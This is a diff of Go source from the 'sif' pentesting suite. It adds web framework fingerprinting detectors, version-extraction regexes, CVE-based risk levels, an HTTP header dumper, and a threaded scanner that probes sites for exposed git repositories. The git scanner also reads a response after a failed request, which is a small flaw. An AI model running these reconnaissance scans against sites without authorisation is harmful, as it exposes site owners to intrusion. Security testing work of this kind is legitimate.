score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// emberDetector detects Ember.js framework.
|
||||
type emberDetector struct{}
|
||||
|
||||
func (d *emberDetector) Name() string { return "Ember.js" }
|
||||
|
||||
func (d *emberDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "ember", Weight: 0.4},
|
||||
{Pattern: "ember-cli", Weight: 0.4},
|
||||
{Pattern: "data-ember", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *emberDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// backboneDetector detects Backbone.js framework.
|
||||
type backboneDetector struct{}
|
||||
|
||||
func (d *backboneDetector) Name() string { return "Backbone.js" }
|
||||
|
||||
func (d *backboneDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "backbone", Weight: 0.4},
|
||||
{Pattern: "Backbone.", Weight: 0.4},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *backboneDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// meteorDetector detects Meteor framework.
|
||||
type meteorDetector struct{}
|
||||
|
||||
func (d *meteorDetector) Name() string { return "Meteor" }
|
||||
|
||||
func (d *meteorDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__meteor_runtime_config__", Weight: 0.5},
|
||||
{Pattern: "meteor", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *meteorDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Register all meta-framework detectors
|
||||
fw.Register(&nextjsDetector{})
|
||||
fw.Register(&nuxtDetector{})
|
||||
fw.Register(&sveltekitDetector{})
|
||||
fw.Register(&gatsbyDetector{})
|
||||
fw.Register(&remixDetector{})
|
||||
fw.Register(&astroDetector{})
|
||||
}
|
||||
|
||||
// nextjsDetector detects Next.js framework.
|
||||
type nextjsDetector struct{}
|
||||
|
||||
func (d *nextjsDetector) Name() string { return "Next.js" }
|
||||
|
||||
func (d *nextjsDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__NEXT_DATA__", Weight: 0.5},
|
||||
{Pattern: "_next/static", Weight: 0.4},
|
||||
{Pattern: "__next", Weight: 0.3},
|
||||
{Pattern: "x-nextjs", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *nextjsDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// nuxtDetector detects Nuxt.js framework.
|
||||
type nuxtDetector struct{}
|
||||
|
||||
func (d *nuxtDetector) Name() string { return "Nuxt.js" }
|
||||
|
||||
func (d *nuxtDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__NUXT__", Weight: 0.5},
|
||||
{Pattern: "_nuxt/", Weight: 0.4},
|
||||
{Pattern: "nuxt", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *nuxtDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// sveltekitDetector detects SvelteKit framework.
|
||||
type sveltekitDetector struct{}
|
||||
|
||||
func (d *sveltekitDetector) Name() string { return "SvelteKit" }
|
||||
|
||||
func (d *sveltekitDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__sveltekit", Weight: 0.5},
|
||||
{Pattern: "_app/immutable", Weight: 0.4},
|
||||
{Pattern: "sveltekit", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *sveltekitDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// gatsbyDetector detects Gatsby framework.
|
||||
type gatsbyDetector struct{}
|
||||
|
||||
func (d *gatsbyDetector) Name() string { return "Gatsby" }
|
||||
|
||||
func (d *gatsbyDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "___gatsby", Weight: 0.5},
|
||||
{Pattern: "gatsby-", Weight: 0.4},
|
||||
{Pattern: "page-data.json", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *gatsbyDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// remixDetector detects Remix framework.
|
||||
type remixDetector struct{}
|
||||
|
||||
func (d *remixDetector) Name() string { return "Remix" }
|
||||
|
||||
func (d *remixDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__remixContext", Weight: 0.5},
|
||||
{Pattern: "remix", Weight: 0.3},
|
||||
{Pattern: "_remix", Weight: 0.4},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *remixDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// astroDetector detects Astro framework.
|
||||
type astroDetector struct{}
|
||||
|
||||
func (d *astroDetector) Name() string { return "Astro" }
|
||||
|
||||
func (d *astroDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: `<meta name="generator" content="Astro`, Weight: 0.5},
|
||||
{Pattern: "astro-island", Weight: 0.5},
|
||||
{Pattern: "data-astro-cid-", Weight: 0.4},
|
||||
{Pattern: "/_astro/", Weight: 0.4},
|
||||
{Pattern: "data-astro-transition", Weight: 0.3},
|
||||
{Pattern: "data-astro-reload", Weight: 0.3},
|
||||
{Pattern: "data-astro-history", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *astroDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
// FrameworkResult represents the result of framework detection.
|
||||
type FrameworkResult struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Confidence float32 `json:"confidence"`
|
||||
VersionConfidence float32 `json:"version_confidence"`
|
||||
CVEs []string `json:"cves,omitempty"`
|
||||
Suggestions []string `json:"suggestions,omitempty"`
|
||||
RiskLevel string `json:"risk_level,omitempty"`
|
||||
}
|
||||
|
||||
// ResultType implements the ScanResult interface.
|
||||
func (r *FrameworkResult) ResultType() string { return "framework" }
|
||||
|
||||
// NewFrameworkResult creates a new FrameworkResult with the given parameters.
|
||||
func NewFrameworkResult(name, version string, confidence, versionConfidence float32) *FrameworkResult {
|
||||
return &FrameworkResult{
|
||||
Name: name,
|
||||
Version: version,
|
||||
Confidence: confidence,
|
||||
VersionConfidence: versionConfidence,
|
||||
}
|
||||
}
|
||||
|
||||
// WithVulnerabilities adds CVE information to the result.
|
||||
func (r *FrameworkResult) WithVulnerabilities(cves, suggestions []string) *FrameworkResult {
|
||||
r.CVEs = cves
|
||||
r.Suggestions = suggestions
|
||||
r.RiskLevel = determineRiskLevel(cves)
|
||||
return r
|
||||
}
|
||||
|
||||
// determineRiskLevel calculates the risk level based on CVE severities.
|
||||
func determineRiskLevel(cves []string) string {
|
||||
if len(cves) == 0 {
|
||||
return "low"
|
||||
}
|
||||
|
||||
for _, cve := range cves {
|
||||
if containsSeverity(cve, "critical") {
|
||||
return "critical"
|
||||
}
|
||||
}
|
||||
|
||||
for _, cve := range cves {
|
||||
if containsSeverity(cve, "high") {
|
||||
return "high"
|
||||
}
|
||||
}
|
||||
|
||||
return "medium"
|
||||
}
|
||||
|
||||
func containsSeverity(cve, severity string) bool {
|
||||
// Simple substring match for now - could be more sophisticated
|
||||
for i := 0; i+len(severity) <= len(cve); i++ {
|
||||
match := true
|
||||
for j := 0; j < len(severity); j++ {
|
||||
c := cve[i+j]
|
||||
// Case-insensitive comparison
|
||||
if c >= 'A' && c <= 'Z' {
|
||||
c += 'a' - 'A'
|
||||
}
|
||||
if c != severity[j] {
|
||||
match = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if match {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
// VersionMatch represents a version detection result with confidence.
|
||||
type VersionMatch struct {
|
||||
Version string
|
||||
Confidence float32
|
||||
Source string // where the version was found
|
||||
}
|
||||
|
||||
// compiledVersionPattern holds a pre-compiled regex for version extraction
|
||||
type compiledVersionPattern struct {
|
||||
re *regexp.Regexp
|
||||
confidence float32
|
||||
source string
|
||||
}
|
||||
|
||||
// frameworkVersionPatterns maps framework names to their pre-compiled version patterns.
|
||||
// Patterns are compiled once at package initialization for optimal performance.
|
||||
var frameworkVersionPatterns map[string][]compiledVersionPattern
|
||||
|
||||
func init() {
|
||||
// Raw patterns to be compiled
|
||||
rawPatterns := map[string][]struct {
|
||||
pattern string
|
||||
confidence float32
|
||||
source string
|
||||
}{
|
||||
"Laravel": {
|
||||
{`Laravel\s+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`laravel/framework.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "composer.json"},
|
||||
},
|
||||
"Django": {
|
||||
{`Django[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`django.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "package reference"},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{`Rails[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`rails.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "gem reference"},
|
||||
},
|
||||
"Express.js": {
|
||||
{`Express[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"express":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{`X-AspNet-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.95, "header"},
|
||||
{`ASP\.NET[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`X-AspNetMvc-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.9, "MVC header"},
|
||||
},
|
||||
"ASP.NET Core": {
|
||||
{`\.NET\s*(\d+\.\d+(?:\.\d+)?)`, 0.8, "dotnet version"},
|
||||
},
|
||||
"Spring": {
|
||||
{`Spring[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`spring-core.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "maven"},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{`spring-boot.*?(\d+\.\d+(?:\.\d+)?)`, 0.9, "maven"},
|
||||
},
|
||||
"Flask": {
|
||||
{`Flask[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`Werkzeug[/\s]+(\d+\.\d+(?:\.\d+)?)`, 0.7, "werkzeug version"},
|
||||
},
|
||||
"Next.js": {
|
||||
{`Next\.js[/\s]+[Vv]?(\d{1,2}\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"next":\s*"[~^]?(\d{1,2}\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"Nuxt.js": {
|
||||
{`Nuxt[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"nuxt":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"Vue.js": {
|
||||
{`Vue\.js[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"vue":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
{`vue@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
|
||||
},
|
||||
"Angular": {
|
||||
{`ng-version="(\d+\.\d+(?:\.\d+)?)"`, 0.95, "ng-version attribute"},
|
||||
{`Angular[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"@angular/core":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"React": {
|
||||
{`React[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"react":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
{`react@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
|
||||
},
|
||||
"Svelte": {
|
||||
{`Svelte[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"svelte":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"SvelteKit": {
|
||||
{`"@sveltejs/kit":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"WordPress": {
|
||||
{`<meta name="generator" content="WordPress (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
{`WordPress (\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Drupal": {
|
||||
{`Drupal[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`<meta name="Generator" content="Drupal (\d+)`, 0.9, "generator meta"},
|
||||
},
|
||||
"Joomla": {
|
||||
{`Joomla[!/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`<meta name="generator" content="Joomla! - Open Source Content Management - Version (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
},
|
||||
"Magento": {
|
||||
{`Magento[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Shopify": {
|
||||
{`Shopify\.theme.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "theme version"},
|
||||
},
|
||||
"Symfony": {
|
||||
{`Symfony[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"FastAPI": {
|
||||
{`FastAPI[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Gin": {
|
||||
{`Gin[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Phoenix": {
|
||||
{`Phoenix[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Ember.js": {
|
||||
{`Ember[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Backbone.js": {
|
||||
{`Backbone[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Meteor": {
|
||||
{`Meteor[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Ghost": {
|
||||
{`Ghost[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Astro": {
|
||||
{`<meta name="generator" content="Astro v?(\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
{`Astro[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"astro":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
}
|
||||
|
||||
// Compile all patterns
|
||||
frameworkVersionPatterns = make(map[string][]compiledVersionPattern, len(rawPatterns))
|
||||
for framework, patterns := range rawPatterns {
|
||||
compiled := make([]compiledVersionPattern, len(patterns))
|
||||
for i, p := range patterns {
|
||||
compiled[i] = compiledVersionPattern{
|
||||
re: regexp.MustCompile(p.pattern),
|
||||
confidence: p.confidence,
|
||||
source: p.source,
|
||||
}
|
||||
}
|
||||
frameworkVersionPatterns[framework] = compiled
|
||||
}
|
||||
}
|
||||
|
||||
// ExtractVersionOptimized extracts version using pre-compiled patterns.
|
||||
// This is exported for use by individual detector implementations.
|
||||
func ExtractVersionOptimized(body string, framework string) VersionMatch {
|
||||
patterns, exists := frameworkVersionPatterns[framework]
|
||||
if !exists {
|
||||
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
|
||||
}
|
||||
|
||||
var bestMatch VersionMatch
|
||||
for _, p := range patterns {
|
||||
matches := p.re.FindStringSubmatch(body)
|
||||
if len(matches) > 1 && p.confidence > bestMatch.Confidence {
|
||||
candidate := matches[1]
|
||||
if isValidVersionString(candidate) {
|
||||
bestMatch = VersionMatch{
|
||||
Version: candidate,
|
||||
Confidence: p.confidence,
|
||||
Source: p.source,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if bestMatch.Version == "" {
|
||||
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
|
||||
}
|
||||
return bestMatch
|
||||
}
|
||||
|
||||
// isValidVersionString checks if a version string looks like a valid semver
|
||||
func isValidVersionString(v string) bool {
|
||||
if len(v) == 0 || len(v) > 20 {
|
||||
return false
|
||||
}
|
||||
|
||||
dotCount := 0
|
||||
for _, c := range v {
|
||||
if c == '.' {
|
||||
dotCount++
|
||||
if dotCount > 3 {
|
||||
return false
|
||||
}
|
||||
} else if !unicode.IsDigit(c) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return dotCount >= 1
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
charmlog "github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
const (
|
||||
gitURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/git/"
|
||||
gitFile = "git.txt"
|
||||
)
|
||||
|
||||
func Git(url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
log := output.Module("GIT")
|
||||
log.Start()
|
||||
|
||||
spin := output.NewSpinner("Scanning for exposed git repositories")
|
||||
spin.Start()
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "git directory fuzzing"); err != nil {
|
||||
spin.Stop()
|
||||
log.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := http.Get(gitURL + gitFile)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
log.Error("Error downloading git list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var gitUrls []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
gitUrls = append(gitUrls, scanner.Text())
|
||||
}
|
||||
|
||||
// util.InitProgressBar()
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
foundUrls := []string{}
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, repourl := range gitUrls {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
charmlog.Debugf("%s", repourl)
|
||||
resp, err := client.Get(url + "/" + repourl)
|
||||
if err != nil {
|
||||
charmlog.Debugf("Error %s: %s", repourl, err)
|
||||
}
|
||||
|
||||
if resp.StatusCode == 200 && !strings.HasPrefix(resp.Header.Get("Content-Type"), "text/html") {
|
||||
spin.Stop()
|
||||
log.Success("Git found at %s [%s]", output.Highlight.Render(repourl), output.Status.Render(strconv.Itoa(resp.StatusCode)))
|
||||
spin.Start()
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, strconv.Itoa(resp.StatusCode)+" git found at ["+repourl+"]\n")
|
||||
}
|
||||
|
||||
foundUrls = append(foundUrls, resp.Request.URL.String())
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
spin.Stop()
|
||||
log.Complete(len(foundUrls), "found")
|
||||
|
||||
return foundUrls, nil
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
type HeaderResult struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
func Headers(url string, timeout time.Duration, logdir string) ([]HeaderResult, error) {
|
||||
log := output.Module("HEADERS")
|
||||
log.Start()
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "HTTP Header Analysis"); err != nil {
|
||||
log.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var results []HeaderResult
|
||||
|
||||
for name, values := range resp.Header {
|
||||
for _, value := range values {
|
||||
results = append(results, HeaderResult{Name: name, Value: value})
|
||||
log.Info("%s: %s", output.Highlight.Render(name), value)
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, name+": "+value+"\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log.Complete(len(results), "found")
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
